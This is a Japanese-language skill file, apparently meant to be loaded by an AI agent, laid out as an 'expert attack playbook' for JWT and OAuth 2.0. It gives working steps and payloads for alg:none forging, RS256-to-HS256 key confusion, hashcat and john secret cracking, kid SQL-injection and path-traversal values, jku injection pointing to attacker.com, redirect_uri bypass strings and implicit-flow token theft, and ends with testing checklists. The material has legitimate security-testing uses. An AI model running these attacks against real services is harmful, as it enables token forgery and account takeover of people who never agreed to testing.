SKILL: JWT と OAuth 2.0 トークン攻撃 — エキスパート攻撃プレイブック

AI LOAD INSTRUCTION: エキスパートレベルの認証トークン攻撃。JWT 暗号化攻撃 (alg:none、RS256→HS256、シークレットクラック、kid/jku インジェクション)、OAuth フロー攻撃 (CSRF、オープンリダイレクト、トークン盗難、implicit フロー悪用)、PKCE バイパス、および Referer/ログ経由のトークン漏洩をカバーします。現代の Web アプリケーションにおいて重要です。

0. RELATED ROUTING

トークン中心の攻撃とフロー悪用についてはこのファイルを使用します。また、以下も読み込んでください:

• oauth oidc misconfiguration リダイレクト URI、state、nonce、PKCE、およびアカウントバインディング検証の場合
• cors cross origin misconfiguration ブラウザ読み取り可能 API またはクロスオリジンでのトークン漏洩の可能性がある場合
• saml sso assertion attacks ターゲットが OAuth/OIDC 以外のエンタープライズ SSO を使用している場合

---

1. JWT の構造

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE

ターミナルでデコード:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}

一般的なクレーム対象 (エスカレーションのため変更):

{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "victim@target.com",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}

---

2. 攻撃 1 — アルゴリズム NONE (alg:none)

アルゴリズムが "none"/"None"/"NONE" の場合、サーバーが署名を検証しない:

# Burp JWT Editor / python-jwt 攻撃:
# ステップ 1: ヘッダーをデコード
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header

# ステップ 2: 新しいヘッダーを作成
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

# ステップ 3: ペイロードを変更 (例: role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'

# ステップ 4: 空の署名でトークンを構築:
HEADER.PAYLOAD.
# または:
HEADER.PAYLOAD

ツール (jwt_tool):

python3 jwt_tool.py JWT_TOKEN -X a
# → 自動的に alg:none バリアントを生成

---

3. 攻撃 2 — RS256 から HS256 へのキー混同

サーバーが RS256 を使用する場合 (非対称 — RSA秘密鍵で署名、公開鍵で検証):

• サーバーの公開鍵は多くの場合発見可能 (JWKS エンドポイント、/certs、ソースコード)
• 攻撃: サーバーに "これは HS256 です" と告げる → サーバーは HS256 HMAC を 公開鍵を秘密として使用して 検証

# ステップ 1: 公開鍵を取得 (PEM 形式)
# 出典: /api/.well-known/jwks.json → PEM に変換
# 出典: /certs エンドポイント
# 出典: HTTPS 証明書から OpenSSL で抽出

# ステップ 2: jwt_tool を使用して、公開鍵を秘密として HS256 で署名:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem

# ステップ 3: 手動で:
# ヘッダーを変更: {"alg":"HS256","typ":"JWT"}
# 公開鍵 PEM バイトを使用して HMAC-SHA256 で header.payload 全体に署名

---

4. 攻撃 3 — JWT シークレット ブルートフォース

弱いシークレットを持つ HMAC ベースの JWT (HS256/HS384/HS512):

# hashcat (高速):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt

# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt

手動でテストする一般的な弱いシークレット:

secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY

---

5. 攻撃 4 — kid (Key ID) インジェクション

kid ヘッダーパラメーターは検証に使用する鍵を指定します。サニタイゼーションなし = インジェクション:

kid SQL インジェクション

{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}

バックエンドが SQL クエリを実行する場合: SELECT key FROM keys WHERE kid = 'INPUT'
結果: HMAC キー = 'attacker_controlled_key' → この値で署名された任意のペイロードを偽造。

kid パストラバーサル (ファイル読み取り)

{"alg":"HS256","kid":"../../../../dev/null"}

サーバーは /dev/null を鍵として読み込む → 空文字列 → 空 HMAC でトークンに署名。

{"alg":"HS256","kid":"../../../../etc/hostname"}

サーバーはホスト名を鍵として読み込む → ホスト名文字列で署名されたトークンを偽造。

---

6. 攻撃 5 — jku / x5u ヘッダーインジェクション

jku は JSON Web Key Set URL を指します。ホワイトリスト化されていない場合:

{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}

セットアップ:

# RSA キーペアを生成:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# JWKS を作成:
python3 -c "
import json, base64, struct
# ... (python-jwcrypto または jwt_tool を使用して JWKS をエクスポート)
"

# 悪意のある JWKS を attacker.com/malicious-jwks.json でホスト
# 攻撃者の秘密鍵で JWT に署名
# サーバーが攻撃者の JWKS をフェッチ → 攻撃者の公開鍵で検証 → 受け入れ

jwt_tool オートメーション:

python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json

---

7. OAuth 2.0 — STATE パラメーター欠落 (CSRF)

State パラメーターは OAuth で CSRF を防止します。欠落している場合:

攻撃:
1. "ログイン (Google)" をクリック → OAuth 開始 → リダイレクト URL をインターセプト:
   https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...

2. 認可コードを取得 (交換前に停止)
3. URL を作成: https://target.com/oauth/callback?code=ATTACKER_CODE
4. 被害者がその URL をクリック → セッションが攻撃者の OAuth アイデンティティにバインド
→ アカウント乗っ取り

---

8. OAuth — REDIRECT_URI バイパス

認可コードは redirect_uri に送信されます。検証が弱い場合:

redirect_uri のオープンリダイレクト

元の URL: redirect_uri=https://target.com/callback
攻撃:   redirect_uri=https://target.com/callback/../../../attacker.com
        redirect_uri=https://attacker.com.target.com/callback
        redirect_uri=https://target.com@attacker.com/callback

部分パスマッチ

ホワイトリスト: https://target.com/callback
攻撃: https://target.com/callback%2f../admin (URL パス混同)
      https://target.com/callbackXSS (プレフィックスマッチのみ)

Localhost / 開発リダイレクト

redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob  (モバイルアプリ)

---

9. OAuth — IMPLICIT フロー トークン盗難

Implicit フロー: トークンが URL フラグメント #access_token=... で送信される

フラグメント漏洩シナリオ:

• 攻撃者ページへのリダイレクト: フラグメントは document.referrer または ターゲットページの <script>window.location.href</script> 経由でアクセス可能
• オープンリダイレクト: redirect_uri=https://target.com/open-redirect?url=https://attacker.com → フラグメント内のトークンが攻撃者のページに到達

---

10. OAuth — スコープ エスカレーション

認可で許可されたより広いスコープをリクエスト:

許可されたスコープ: read:profile
攻撃: トークン交換時に scope=admin または scope=read:admin を追加
→ サーバーはリクエストされたスコープを付与するか、発行されたスコープを使用するか?

---

11. トークン漏洩ベクトル

Referer ヘッダー

URL のトークン → ページが外部リソースを読み込む → Referer がトークンを漏らす:

https://target.com/dashboard#access_token=TOKEN
→ HTML が読み込み: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com が Referer ログのトークンを確認

サーバーログ

クエリパラメーターで送信されたアクセストークンは以下に格納されます:

/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB ログ (AWS)
CloudFront ログ
CDN ログ

---

12. JWT テストチェックリスト

□ ヘッダーとペイロードをデコード (各部分を base64 デコード)
□ アルゴリズムを特定: HS256/RS256/ES256/none
□ ペイロードフィールドを変更 (role、userId、isAdmin) → 署名も変更
□ alg:none をテスト → 署名を完全に削除
□ RS256 の場合: 公開鍵を見つけて → RS256→HS256 混同を試行
□ HS256 の場合: hashcat/rockyou でブルートフォース
□ kid パラメーターを確認 → SQL インジェクション + パストラバーサルを試行
□ jku/x5u ヘッダーを確認 → 攻撃者 JWKS にリダイレクト
□ ログアウト後のトークン再利用をテスト
□ 期限切れトークン受け入れをテスト (exp クレーム)
□ トークンが GET パラメーター (ログ漏洩) vs ヘッダーにあるかを確認

---

13. OAuth テストチェックリスト

□ 認可リクエストで state パラメーターを確認
□ redirect_uri 操作をテスト (オープンリダイレクト、プレフィックスマッチ、パス混同)
□ トークンを複数回交換できるか?
□ トークン交換時のスコープエスカレーションをテスト
□ Implicit フロー: Referer/履歴のトークンを確認
□ PKCE: code_challenge をバイパスするか、code_verifier を空にできるか?
□ 認可コード再利用をテスト (コードは単回限りでなければならない)
□ アカウントリンク悪用をテスト: OAuth を同じメールの既存アカウントにリンク
□ OAuth プロバイダー混同を確認: Google が予想される場所で Apple ID を使用